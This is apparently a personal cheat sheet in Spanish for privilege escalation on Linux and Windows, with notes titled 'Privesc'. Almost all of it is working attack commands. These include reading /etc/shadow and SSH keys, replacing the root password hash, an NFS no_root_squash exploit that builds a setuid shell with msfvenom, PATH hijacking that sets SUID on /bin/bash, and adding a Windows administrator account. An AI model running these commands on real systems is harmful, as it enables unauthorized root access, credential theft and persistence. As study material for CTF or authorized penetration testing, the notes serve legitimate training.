🔒Privesc

Get the fck out bins supremac

Enumerar puertos

netstat -nat

LINUX

whoami
id
uname -a
lsb_release -a
sudo -l
find / -perm -4000 2>/dev/null
find / -user <user> 2>/dev/null
find / -writable 2>/dev/null | grep "etc"
getcap -r / 2>/dev/null

catcatcatcatcatcatcatcatcatcat

/home/<user>/.ssh
/etc/passwd
/etc/shadow
/etc/crontab
/etc/shells

Enumerar bien directorios de servicio web!

/var/www/html/ # Databases, info leak, login history, etc!!! uwu

Linpeas.

Escritura en passwd/shadow
openssl passwd <new_pass>
nano /etc/passwd
# Cambiar pass Root.
mkpasswd -m sha-512 <new_pass> # Hasheamos nueva pass.
nano /etc/shadow
# Sustituir hash pass de Root.
Rastros de Passes y Keys
History Files
cat ~/.history | less
Config Files
ls /home/<user>
cat /home/<user>/myvpn.ovpn
SSH Keys
ls -l home/<user>/.ssh
chmod 600 idrsa
ssh -i idrsa <user>@<IP>

'No Root Squash' Exploit - NFS

# Archivos creados por NFS guardan el ID remoto del user

cat /etc/exports # Buscar "no_root_squash" en algún campo

# En tu máquina
mkdir /tmp/nfs
mount -o rw,vers=2 <IPv>:/tmp /tmp/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
chmod +xs shell.elf

# Máquina vícitima
/tmp/shell.elf
PATH Hijacking - Binario sin ruta absoluta en Script
nano <fake-binario>
# chmod u+s /bin/bash < Contenido del binario
chmod +x <fake-binario>
export PATH=/tmp:$PATH
# Ejecutamos script
bash -p
leer lineas de binario
strings <binario>
Check cambios de perms
watch -n 1 ls -l <file_path>

.Xauthority

Binarios + SUID

--------------------------------------------------------------------------------------------------

WINDOWS

whoami /privs
getprivs
dir /r /s user.txt
net user <name> <pass> /add
net localgroup administrators <name> /add

Scan con PowerUp - Meterpreter

upload <path_powerup>
load powershell
powershell_shell
. .\powerup.ps1
Invoke-AllChecks

Winpeas.

Última actualización